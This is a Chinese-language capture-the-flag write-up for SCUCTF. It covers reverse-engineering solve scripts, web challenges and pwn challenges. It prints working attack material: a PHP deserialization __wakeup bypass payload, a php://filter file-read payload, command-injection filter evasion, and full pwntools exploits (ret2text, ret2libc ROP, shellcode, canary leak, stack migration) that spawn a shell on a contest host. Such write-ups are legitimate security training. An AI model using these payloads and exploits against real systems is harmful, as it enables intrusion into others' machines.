先用pyinstxtractor反编译并用winhex把无后缀文件补成pyc文件先去看看app


看到controller就感觉是关键代码, 再去找找它的pyc

controller

方程主要变元是x, 可以开7次方之后在慢慢+1,基本秒出

解题脚本:

from binascii import b2a_hex
mn=0xA046AE0418E4646E7C383ADF588B29280C80B2DB5C320B4F5ACF096009FFC7A831D9B89CA1C65F7E1A6F9297720F7
x=9301243714092246#pow(mn,1/7)
while True:
    if (x ** 7 - 300 * x ** 6 - x ** 3) + x == mn:
        print('Yes, it is the real flag!')
        print(x)
        break
    x+=1
flag=b2a_hex(str(x).encode('utf-8'))
flags=flag.decode('utf-8')
print(flag)

0x07 helptingting

ida检查代码

tingting

就是个解方程,这里顺便感谢一下34r7hm4n师傅分享的脚本,剩下的就是个苦力活了

解题脚本:

from z3 import *
import os
class EquationsSolver:
    vars = []
    constraints = []
    temp = '__temp.py'

    def addVar(self, var: str):
        self.vars.append(var)

    def addVars(self, vars: list):
        self.vars += vars

    def addConstraint(self, constraint: str):
        self.constraints.append(constraint)

    def addConstraints(self, constraint: list):
        self.constraints += constraints

    def solve(self):
        output = 'from z3 import *\n\n'
        target = open(self.temp, "w")
        for var in self.vars:
            output += f'{var} = Real(\'{var}\')\n'
        output += '\ns = Solver()\n'
        for constraint in self.constraints:
            output += f's.add({constraint})\n'
        output += '\ns.check()\nresult = s.model()\nflag = \'\'\n'
        for var in self.vars:
            output += f'flag += chr(result[{var}].as_long())\n'
        output += 'print(flag)'
        target.write(output)
        target.close()
        os.system(f'python {self.temp}')
        os.remove(self.temp)


solver = EquationsSolver()

left = [
    '223 * v0 + 124 * v17 + 244 * v21 + 131 * v19 + 171 * v38 + 44 * v9 + 48 * v22 +v15 *128',
    '249 * v17 + 145 * v21 + 240 * v19 + 182 * v22 + 28 * v9 + 45 * v38 + 82 * v0 + 33 * v15',
    '104 * v0 + 89 * v19 + 149 * v22 + 82 * v9 + 19 * v38 + 221 * v21 + 25 * v17 + 44 * v15',
    '43 * v17 + 59 * v21 + 239 * v19 + 22 * v22 + 147 * v9 + 204 * v38 + 176 * v0 + 12 * v15',
    '86 * v0 + 230 * v17 + 82 * v22 + 218 * v9 + 16 * v38 + 47 * v19 + 72 * v21 + 233 * v15',
    '30 * v0 + 195 * v17 + 222 * v21 + 197 * v9 + 34 * v38 + 84 * v22 + 15 * v19 + 76 * v15',
    '186 * v0 + 217 * v17 + 49 * v22 + 166 * v9 + 210 * v38 + 89 * v19 + 36 * v21 + 61 * v15',
    '76 * v0 + 55 * v19 + 105 * v22 + 239 * v9 + 217 * v38 + 35 * v21 + 144 * v17 + 122 * v15',
    '157 * v2 + 184 * v37 + 46 * v20 + 229 * v1 + 143 * v32 + 57 * v29 + 6 * v14 + v11 * 64',
    '220 * v2 + 240 * v37 + 131 * v20 + 133 * v1 + 200 * v32 + 118 * v29 + 27 * v14 + 84 * v11',
    '238 * v2 + 222 * v37 + 185 * v20 + 101 * v1 + 81 * v29 + 254 * v32 + 27 * v14 + 173 * v11',
    '105 * v2 + 181 * v37 + 83 * v20 + 92 * v1 + 61 * v14 + 149 * v29 + 187 * v32 + v11',
    '147 * v2 + 110 * v37 + 18 * v1 + 242 * v29 + 12 * v32 + 247 * v14 + 7 * v20 + 106 * v11',
    '245 * v2 + 222 * v37 + 248 * v20 + 218 * v29 + 147 * v32 + 55 * v14 + 73 * v1 + 113 * v11',
    '108 * v2 + 238 * v37 + 32 * v20 + 2 * v1 + 192 * v32 + 184 * v29 + 73 * v14 + 98 * v11',
    '216 * v2 + 228 * v37 + 26 * v14 + 92 * v29 + 237 * v32 + 226 * v1 + 160 * v20 + 229 * v11',
    '155 * v33 + 174 * v12 + 136 * v26 + 142 * v6 + 238 * v35 + 79 * v13 + 73 * v31 + 108 * v28',
    '89 * v26 + 168 * v31 + 154 * v13 + 85 * v6 + 51 * v35 + 30 * v12 + 18 * v33 + 200 * v28',
    '54 * v33 + 145 * v12 + 246 * v26 + 50 * v31 + 88 * v13 + 230 * v6 + 152 * v35 + 77 * v28',
    '163 * v33 + 133 * v12 + 185 * v26 + 241 * v31 + 14 * v13 + 174 * v6 + 117 * v35 + 30 * v28',
    '127 * v12 + 104 * v31 + 52 * v13 + 58 * v6 + 245 * v35 + 161 * v26 + 255 * v33 + 38 * v28',
    '150 * v33 + 203 * v12 + 155 * v26 + 38 * v31 + 249 * v13 + 218 * v6 + 200 * v35 + 116 * v28',
    '161 * v12 + 73 * v31 + 10 * v13 + 190 * v35 + 39 * v6 + 36 * v26 + 156 * v33 + 31 * v28',
    '209 * v33 + 87 * v12 + 172 * v26 + 251 * v31 + 220 * v13 + 249 * v6 + 78 * v35 + 146 * v28',
    '123 * v30 + 109 * v36 + 243 * v23 + 131 * v27 + 157 * v25 + 55 * v24 + 35 * v8 + 14 * v5',
    '248 * v36 + 137 * v23 + 196 * v24 + 83 * v8 + 179 * v25 + 6 * v27 + 16 * v30 + 48 * v5',
    '12 * v27 + 236 * v24 + 52 * v8 + 178 * v25 + 73 * v23 + 206 * v36 + 25 * v30 + 90 * v5',
    '154 * v30 + 176 * v36 + 103 * v23 + 216 * v27 + 203 * v25 + 130 * v24 + 26 * v8 + 250 * v5',
    '89 * v30 + 70 * v36 + 254 * v23 + 79 * v27 + 184 * v25 + 150 * v24 + 153 * v8 + 46 * v5',
    '38 * v23 + 163 * v27 + 18 * v8 + 232 * v24 + 33 * v25 + 67 * v36 + 129 * v30 + 69 * v5',
    '251 * v36 + 84 * v25 + 39 * v24 + 194 * v8 + 222 * v27 + 48 * v23 + 4 * v30 + 27 * v5',
    '220 * v25 + 247 * v8 + 36 * v24 + 225 * v27 + 6 * v23 + 51 * v36 + 3 * v30 + 16 * v5',
    '154 * v18 + 198 * v4 + 251 * v3+ 219 * v34 + 169 * v39+ 137 * v10+ 41 * v16+ 71 * v7',
    '216 * v3 + 220 * v34 + 26 * v39 + 151 * v16 + 33 * v10 + 227 * v4 + 21 * v18 + 94 * v7',
    '164 * v3+ 175 * v34+ 16 * v39+ 84 * v16+ 150 * v10+ 130 * v4+ 81 * v18+ 216 * v7',
    '147 * v18 + 133 * v4 + 69 * v3 + 242 * v34 + 80 * v10 + 245 * v16 + 7 * v39 + 187 * v7',
    '182 * v18+ 188 * v4+ 91 * v3+ 43 * v34+ 253 * v39+ 152 * v16+ 142 * v10+ 55 * v7',
    '166 * v18+ 124 * v4+ 227 * v3+ 120 * v34+ 61 * v10+ 253 * v16+ 36 * v39+ 246 * v7',
    '19 * v4 + 43 * v34 + 174 * v39 + 252 * v16 + 193 * v10 + 38 * v3 + 19 * v18 + 67 * v7',
    '199 * v18+ 200 * v4+ 78 * v3+ 212 * v34+ 43 * v39+ 188 * v16+ 136 * v10+ 252 * v7',
]

right = [
    88254,63983,54639,66270,59277,57692,71989,66503,86799,104065,110436,76391,62017,107028,77826,123658,73143,47777,68575,72281,69934,88231,46691,97050,53564,64251,59075,79183,57838,44305,63872,45389,115497,91729,90305,96719,107303,119609,72885,116144
]
print(len(left),len(right))
for i in range(40):
    solver.addConstraint(f'{left[i]} == {right[i]}')

for i in range(40):
    solver.addVar(f'v{i}')
    solver.addConstraint(f'v{i} > 32, v{i} < 127')

solver.solve()

这里要注意的是我做了替换

v116 = (char)v3;#v37
v115 = SBYTE1(v3);#v38
v114 = SBYTE2(v3);#v39
v113 = SHIBYTE(v3);#v0
v112 = (char)v4;#v1
v111 = SBYTE1(v4);#v2
v110 = SBYTE2(v4);#v3
v109 = SHIBYTE(v4);#v4

得到最终结果之后再自己改一下就好了(主要是没咋学过re也不太清楚ida有没有什么简便方法...)

0X03 web

0x00 真的是签到题

打开页面截图即可。

0x01 (新生系列1)easyhtml

进去看见“学长告诉我写前端一定要写好注释呐!”,F12查看注释就看见了flag。

0x02 (新生系列2)情感日记

进去打开页面,找到index.js,正宗的舔狗日记。

看见有提示说flag藏在情(tian)感(gou)日记里面,简单找了一下,发现flag被分为两部分,合在一起就行了。

0x03 (新生系列3)我爬我爬

题目提示说:很简单的Robots,又是一道送分题。

那就访问页面下的robots.txt,发现Disallow:/ffflllaaaggg.html,访问得到c2N1Y3Rme2lfZzB0X3RoZV9yMGJvdHN9,base64解码得到flag。

0x04 (新生系列4)easyweb

进入页面,burp抓包,根据提示依次伪造请求头就行了。

X-Forwarded-For:127.0.0.1
referer:http://scuctf.com
User-Agent: 0x401Browser
via:hgg.com

0x05 (新生系列5)easyheehee

进去是一个贪吃蛇游戏,说当达到10000分以后得到flag,但是游戏逻辑已经被破坏了,吃到食物不加分。

那就来看看有没有什么有用的信息,果然在cookie里面找到了lookme=Wm1abWJHeHNZV0ZoWjJkbkxuQm9jQT09,base64解码两次得到ffflllaaaggg.php,访问该页面,得到flag。

0x06 (新生系列6)看我后面

提示php文件备份名,那就来访问一下index.php.bak,果然下载得到index.php.bak备份文件。

<?php
include_once "flag.php";

if(isset($_GET['psw'])) {
    $psw = $_GET['psw'];
    if(!is_numeric($psw)) {
        exit("呜呜呜,只能是数字哦");
    }
    $psw = intval($psw);
    $str = "5201314hgg";
    if($psw == $str) {
        echo $flag;
    }
}
else {
    echo "小可爱,你知道php文件的备份名吗?";
}

得要get请求psw参数,且得为数字,然后弱等于"5201314hgg"

在进行比较的时候,会先将字符串类型转化成相同,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
当一个字符串欸当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

于是"5201314hgg"在比较时就被转化为了5201314,于是get请求?psw=5201314拿到flag。

0x07 (新生系列7)normalPHP

get请求file参数

 <?php

//flag in flag.php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。
?file=php://filter/resource=flag.php即可。

0x08 (新生系列8)打比赛不如看剧

打开网站后是我们亲爱的马老师的视频,找了半天也没找到什么有用的信息,索性将视频保存下来,得到了一个名为zOriB7aE.mp4的视频,开始以为是视频隐写,文件名是密码,下了个OurSecret,但是发现并没有。

既然没有那就binwalk呗,果然分离出了一张图片。

需要我们提交一个名为pass的get请求参数,且要满足他的条件才会输出flag,那就跟着代码写一个脚本就行了。

(注意别写错就行了

<?php
for ($x=0; $x<=10000; $x++) {
  $a = md5($x);
    if(substr($a,7,1)===substr($a,9,1) && substr($a,14,1)===substr($a,17,1)){
        if((intval(substr($a,1,1))+intval(substr($a,14,1))+substr($a,17,1))/substr($a,1,1)===intval(substr($a,31,1))){
            echo $x;
        }

    }
}
?>

0x09 (新生系列9)渣男记录

进去就一个渣男表白的页面,找不到啥有用的信息,结合题目的记录,猜测一波可能是备份文件嘛。
/www.zip找到了备份文件。下载下来。
index.php中发现了以下代码:

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

出现了unserialize()函数,不出意外应该就是反序列化漏洞了,还引用了class.php,那我们再来看看class.php。引用了flag.php文件,以及一个Love类,那我们就来构造一下payload就行了。

username得要等于admin,但是存在__wakeup()方法,使得username等于lover。

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

但是__wakeup()方法可以被绕过

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

构造脚本:

<?php
class Love{
    public $username = 'hgg';
    public $password = 'cute';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'lover';
    }

    function __destruct(){
        if ($this->password != 520) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my girlfriend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
$test = new Love("admin","520");
echo serialize($test);
?>
//这是原来的序列化对象
//O:4:"Love":2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"520";}
//payload
//O:4:"Love":3:{s:8:"username";s:5:"admin";s:8:"password";s:3:"520";}

0x10 (挑战系列1)有手就行

检查有没有get请求的ctf参数,有的话执行system($_GET['ctf']),否则Hggfile(__FILE__);
isset($_GET['ctf'])?system($_GET['ctf']):Hggfile(__FILE__);
那就是典型的任意命令执行嘛。

先来试试?ctf=ls,出现了几个文件,没发现flag,那就一级一级的看嘛。果然在根目录发现了flag文件,想要cat flag发现没有反应。

于是ls了bin目录下,发现只有三个命令ls rm sh

尝试sh /flag,发现错误信息没有回显,无法通过这样暴露文件内容。

无辙了,全部ls一遍,看看有没有什么有用的信息。

最后发现了还有php命令,php命令执行flag文件,注意php会被过滤,写成?ctf=ph""p /flag,成功输出flag。

0X04 pwn

0x00 [PWN1] nc

nc连上去就得到flag了。

0x01 [PWN2] ret2text

checksec检查文件安全机制只开启了NX保护。

拖入ida查看,关键代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("Welcome to  ret2text!");
  puts("ret2text is very easy but useful.");
  vulnerable("ret2text is very easy but useful.", sig_handler);
  return 0;
}

__int64 vulnerable()
{
  char v1; // [rsp+0h] [rbp-10h]

  return gets(&v1);
}

int success()
{
  return system("/bin/sh");
}

对于v1的输入没有进行限制,可以对其进行溢出,我们只需要将函数的返回地址给覆盖为函数success()的返回地址,就可以执行system("/bin/sh")拿到shell。

exp如下:

from pwn import *
io = remote("121.196.34.30",10007)
system = 0x04007A5

payload = 'a' * (0x10+0x8) + p64(system)

io.sendline(payload)
io.interactive()

0x02 [PWN3] ret2libc

这题同样也只开启了NX保护。

拖入ida查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-70h]
  puts("Welcome to ret2libc!");
  read(0, &buf, 0x100uLL);
  return 0;
}

还是同样的栈溢出,不同的是这次没有现成的后门给我们利用了,需要我们自己来构造ROP。

找到system函数在plt表中的地址。

shift+F12找到"/bin/sh"字符串的地址。

64位文件,参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

于是我们就需要寻找控制rdi寄存器的地址。

最后是exp:

from pwn import *

sh = remote('121.196.34.30',10005)
system_addr = 0x4006d0
binsh_addr  = 0x400a14
pop_rdi = 0x4009f3

payload = 'a' * (0x70 + 8) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload)
sh.interactive()

0x03 [PWN4] ret2shellcode

这题没有开启NX保护,那也就是说我们可以执行我们的shellcode了。

这题将用户输入使用strncpy函数拷贝到位于buf2中,而buf2又正好位于bss段中,将shellcode写入buf2执行就可以拿到shell。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // ST04_1
  char src; // [esp+Ch] [ebp-6Ch]

  puts("Welcome to ret2shellcode!");
  puts("There is no system!!!");
  read(0, &src, 116);
  strncpy(buf2, &src, 0x64u);
  printf("0ops! bye~ baby~", v3);
  return 0;
}

main函数执行完毕后返回的的部分,如图中框选部分所示。var_4的值为-4,将ebp-4地址中的内容赋值给ecx寄存器,使用leave还原ebp和esp状态,将ecx-4这个值赋值给esp,使用retn将esp所指向地址中保存的数据弹出给eip。平常的函数返回时将返回地址记录在ebp+4的位置,而此处main函数返回的位置在ebp-4。

将shellcode写入src,通过strncpy函数拷贝进bss段,然后将ebp-4储存的shellcode的地址弹给eip即可。

from pwn import *

context.arch="i386"
context.terminal='/bin/bash'

#io=process("ret2shellcode")
io = remote('121.196.34.30', 10006)
shellcode=asm(shellcraft.sh())

addr=0x080F0A04
payload = p32(addr) + shellcode.ljust(0x6c - 2*len(p32(addr)),'a') + p32(addr)

io.sendlineafter('system!!!',payload)
io.interactive()

0x04 [PWN5] baby_canary

这题比起之前多开启了一个Canary保护

先输入v4得满足(v4 < 0 || v4 > 32),然后输入buf,v4的值决定了buf的输入长度,然后将buf输出,再对buf进行一次输入。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-24h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts("Welcome to your first canary test!");
  puts("length?");
  __isoc99_scanf("%d", &v4);
  if ( v4 < 0 || v4 > 32 )
  {
    puts("TOO LONG!");
    exit(-1);
  }
  puts("what?");
  read(0, &buf, v4);
  puts(&buf);
  puts("OK!");
  read(0, &buf, 0x30uLL);
  return 0;
}

int success()
{
  puts("good boy!!!!!");
  return system("/bin/sh");
}

我们可以通过第一次buf的输入覆盖 Canary 最后一个 \x00 字节来打印出 8 位的 Canary 之后,第二次输入计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 success()函数中。

from pwn import *

#io = process('./canary')
io = remote("121.196.34.30",10000)
get_shell = ELF("./canary").sym["success"]

io.sendline("31")

io.recvuntil("what?\n")

payload = "A"*(0x20 - 8)
io.sendline(payload)

io.recvuntil("A"*(0x20 - 8))

Canary = u64(io.recv(8))-0xa
log.info("Canary:"+hex(Canary))

payload = "\x90" * (0x20 - 8) + p64(Canary) + "\x90" * 8 + p64(get_shell)

io.send(payload)
io.recv()
io.interactive()

0x05 [PWN6] stack_migration

这题也只开启了NX保护。

拖入ida,main函数调用vul()函数,然后输出参数s的地址,并且分配给了s长为0x20的空间,输入长度则为0x30,存在栈溢出,单数溢出长度只有0x30 - 0x20 = 0x10,长度很短,无法构造复杂的rop链,加上s的地址已知,于是我们可以构造栈迁移,将rbp迁移至s,然后利用leave;ret,把栈迁移到本来的位置,然后读入'/bin/sh',再利用pop_rdi控制参数,最后调用system即可。

ssize_t vul()
{
  char s; // [rsp+0h] [rbp-20h]

  printf("Give you a stack addr:%p\n", &s);
  memset(&s, 0, 0x20uLL);
  puts("SCUCTF:");
  return read(0, &s, 0x30uLL);
}

找到控制rdi寄存器的地址。

找到leave|ret的地址。

找到system函数的地址。

最后是exp:

from pwn import *

io = process('./stack_migration')

leave_ret = 0x4008cb
pop_rdi_ret = 0x400993
call_system = 0x40086E
io.recvuntil("Give you a stack addr:0x")
s = (io.recv(12))
stack = int(s,16)
payload = p64(pop_rdi_ret) +p64(stack + 0x18)+p64(call_system)+"/bin/sh\x00"+ p64(stack - 0x8) + p64(leave_ret)
io.send(payload)
io.interactive()

(其实这道题比赛的时候思路是对了的,但是伪造的rbp的地址写错了,呜呜呜,基础知识不牢固是硬伤,好好学习吧。)